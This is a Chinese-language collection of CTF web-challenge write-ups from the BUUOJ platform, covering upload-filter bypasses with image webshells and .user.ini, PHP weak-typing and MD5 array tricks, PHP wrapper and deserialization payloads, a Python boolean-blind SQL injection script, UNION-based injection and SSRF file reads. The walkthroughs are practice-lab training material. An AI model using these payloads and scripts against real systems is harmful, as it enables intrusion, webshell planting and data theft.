Upload
考点:文件上传绕过姿势
拿到题目先上传一张图片马,返回包含<?
我们再图片马的头部加上防止过滤GIF89a,结果还是没有绕过
重放,改文件名和文件头最后phtml绕过成功,改写一句话木马
连接蚁剑,寻找flag,最后拿到flag
flag
flag{8d040fd2-e4ed-4992-94e9-cb657c587b10}
WEB-Checkin
考点:…user.ini的利用
拿到题目,先直接上传一个php文件,回显非法操作
burp抓包修改后,将文件后缀改为jpg,回显包含?>
这里可以用一般的图片马来绕过(注意图片中不能有"<?",这也是比较坑的地方),或者直接在内容上加上图片的标识头。比如:GIF,加上GIF89a后上传成功在这里插入图片描述
简单来说就是根据文件头来判断文件的类型
下边说下常见的几种类型
1.JPG:FFD8FFFE00
2.GIF89a:474946383961
3.PNG:89504E470D0A
但上传上去了只是jpg格式,没法直接利用。是时候就引出了.user.ini文件了。比如,.urer.ini文件中内容:auto_prepend_file=1.jpg 那么,所有的php文件执行前都会将1.jpg当做php类型的文件先包含执行一遍。这也是这道题的关键,所以返回到这道题中来,我们先上传一个.user.ini的文件,将其内容设置为auto_prepend_file=shell.jpg,别忘了加上图片头GIF
接着上传一个C.jpg的一句话
最后构造payload,得到flag
flag
flag{fee03373-9d05-4c24-bcbf-fcca8b304478}
WEB-BackupFile
考点:文件包含
题目中没有明显的提示,所以扫一波目录,最后发现有一个index.php.bak,打开文件后如下
<?php
include_once "flag.php";
if(isset($_GET['key'])) {
$key = $_GET['key'];
if(!is_numeric($key)) {
exit("Just num!");
}
$key = intval($key);
$str = "123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3";
if($key == $str) {
echo $flag;
}
}
else {
echo "Try to find out source file!";
}
要求GET方式传递一个Key值,并且Key必须为数字且等于123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3这一字符串,然后我们开始构造payload:http://45faf492-fb98-4956-b0b3-3b6477a74dc9.node3.buuoj.cn/index.php?key=123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3
考PHP的弱类型特性,int和string是无法直接比较的,php会将string转换成int然后再进行比较,转换成int比较时只保留数字,第一个字符串之后的所有内容会被截掉,所以相当于key只要等于123就满足条件了:
flag
flag{3314e56d-e508-47bb-9222-182cc44f7d15}
WEB-[ACTF2020 新生赛]Upload
考点:前后端上传绕过
拿到题后直接上马
开来需要换马了,上传图片马后将文件后缀改为phtml,上传成功
拿到flag
./uplo4d/4049fcbb2444d4374aa6d7741e919aec.phtml
flag
flag{c5deb5d1-ee1d-4454-8004-f21759ec3535}
WEB-BUYFLAG
考点:抓包
根据题目提示一个要满足以下三个条件才能输出flag,1.要求是Cuit的学生 2.要求password不是数字,但是要$password == 404 3.$money>=100000000
~~~post money and password~~~
if (isset($_POST['password'])) {
$password = $_POST['password'];
if (is_numeric($password)) {
echo "password can't be number</br>";
}elseif ($password == 404) {
echo "Password Right!</br>";
}
}
题目中说到用post请求
这里我们可以利用脚本
import requests
url='http://e61b9b5d-4e2c-4b69-abf8-a3fa4f5432b0.node3.buuoj.cn/pay.php'
headers={'cookie':'user=1'}
data={'password':'404]','money[]':'1'}
r = requests.post(url=url,headers=headers,data=data)
print(r.text)
最后得到flag
flag
flag{55c66831-6524-4211-b742-551a774375d9}
WEB-[ZJCTF 2019]NiZhuanSiWei
考点:绕过file_get_contents()、绕过正则表达式,php反序列化
给了一段源码
<?php
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
//判断$text变量是否存在并判断"welcome to the zjctf"是否被写入
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
//如果满足条件输出写入的内容
if(preg_match("/flag/",$file)){ //不给你看flag
echo "Not now!";
exit();
}else{
include($file); //useless.php (题目源码注释)
//文件包含,已经提示要我们查看userless.php
$password = unserialize($password); //反序列化$password
echo $password;
}
}
else{
highlight_file(__FILE__);
}
?>
可以用data伪协议来写入?text=data:text/plain,welcome to the zjctf
接着是文件包含?text=data:text/plain,welcome to the zjctf&file=php://filter/read=convert.base64-encode/resource=useless.php
得到一串base64,然后我们解码一下得到一下内容
<?php
class Flag{ //flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
?> IAo
- 绕过file_get_contents()
将welcome to the zjctf base64编码 使用PHP伪协议data读取数据流 可以成功绕过file_get_contents
对该代码进行序列化得到的结果是O:4:“Flag”:1:{s:4:“file”;s:8:“flag.php”,最终形成的payload:/?text=data://text/plain; - 绕过正则表达式
使用数组即可成功绕过(一开始我的想法是直接包含flag.php 然后通过echo输出$flag这个变量 这个想法不对)?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file[]=flag.php - 读取useless.php文件
看到注释有个//uselees.php 最后看WP读取的 (我服了自己了 明明可以通过PHP伪协议来读取源码的)
/?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=php://filter/read=convert.base64-encode/resource=useless.php
base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=useless.php&password=O:4:“Flag”:1:{s:4:“file”;s:8:“flag.php”;}
构造序列化获取flag.php文件
<?php
class Flag{ //flag.php
public $file='flag.php'; //注意这里 我们这里赋值了flag.php文件
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
?>
print_r(serialize(new Flag()));
//得到:O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
最终payload:http://4986c622-dbe1-4c0b-bf75-a3df2264eba0.node3.buuoj.cn/?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}最后得到flag
flag
flag{3641011e-0e9e-4013-b16a-29094ed05102}
WEB-Hack World
考点:二分法爆破
查看源代码得到通过post方法提交
根据提示知道 flag 位于 flag 表中的 flag 字段里搜索框输入 1 或 2 会返回结果,其余返回 bool(false)尝试注入 1 union select group_concat(flag) from flag.flag 返回 SQL Injection Checked.是因为后端过滤了 union、and、or、空格等,包括 /**/输入 1/1 时会正常返回结果,可以判断这是数字型的sql注入,考虑布尔盲注思路比较简单,用 select 在数据库中提取 flag 各位字母,用二分法(比直接枚举快一点)逐位爆破sql = '0^(ascii(substr((select(flag)from(flag)),{0},1))>{1})'.format(i,mid)如果最外层括号(是否大于的判断表达式)值为 True,与 0 异或中仍为 True,反之为 False
import requests
url = 'http://14948c07-2813-4b23-b374-a72b794b079f.node3.buuoj.cn/index.php'
flag = ''
def check(payload):
# print (payload)
upload = { 'id' : payload }
text = requests.post(url, data = upload).text
if ('Hello') in text: # 表达式为真时会返回 id = 1 的结果
return True
return False
for i in range(1,50):
l = 0; r = 255; // [0,255] 所有 ASCALL 字符区间
while (l<=r):
mid = (l + r) >> 1
sql = '0^(ascii(substr((select(flag)from(flag)),{0},1))>{1})'.format(i,mid) #注意不能留空格,一开始错了
if (check(sql)):
l = mid + 1
else:
r = mid - 1
flag += chr(l)
print (flag)
flag
flag{4978f277-7b90-4b9a-bcd1-474db0b36e2b}
Easy MD5
考点:
拿到题目随便上传参数,从响应包中得到 select * from 'admin' where password=md5($pass,true)
得到新页面./levels91.php
继续抓新页面的包,出现了新的规则
<!--
$a = $GET['a'];
$b = $_GET['b'];
if($a != $b && md5($a) == md5($b)){
// wow, glzjin wants a girl friend.
-->
尝试构造a[]=1&b[]=2,得到新的页面levell14.php
然后我们继续访问新页面
<?php
error_reporting(0);
include "flag.php";
highlight_file(__FILE__);
if($_POST['param1']!==$_POST['param2']&&md5($_POST['param1'])===md5($_POST['param2'])){
echo $flag;
}
最后利用post方式提交param1[]=1¶m2[]=2,得到flag
flag
flag{45b20aa6-daa4-4ba7-ad5a-5f68584a81b9}
WEB-Fakebook
考点:SSRF、sql注入
利用目录扫描工具扫一波,得到user.php.bak
<?php
class UserInfo
{
public $name = "";
public $age = 0;
public $blog = "";
public function __construct($name, $age, $blog)
{
$this->name = $name;
$this->age = (int)$age;
$this->blog = $blog;
}
function get($url)
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$output = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
if($httpCode == 404) {
return 404;
}
curl_close($ch);
return $output;
}
public function getBlogContents ()
{
return $this->get($this->blog);
}
public function isValidBlog ()
{
$blog = $this->blog;
return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
}
}
发现ssrf漏洞,其中用到的url就是我们注册时填写的blog,首先先注册登录,发现页面view.php?no=1存在注入,来测探他的列书,输入5返回错误,说明有4行
接下来爆一下数据库view.php?no=0//union//select 1,group_concat(schema_name),3,4 from information_schema.schemata#
接下来查表view.php?no=0//union//select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema='fakebook'#
接下来查列view.php?no=0//union//select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='users'#
接下来查data,这里的数据被序列化,反序列化是我们的注册信息
view.php?no=0//union//select 1,data,3,4 from users
因为存在flag.php所以尝试用file://协议来读取一下/var/www/html/flag.php,网页源码返回base64
base64解码后得到flag
flag
flag{bf732a8d-a00c-48ad-b576-61e58e35493a}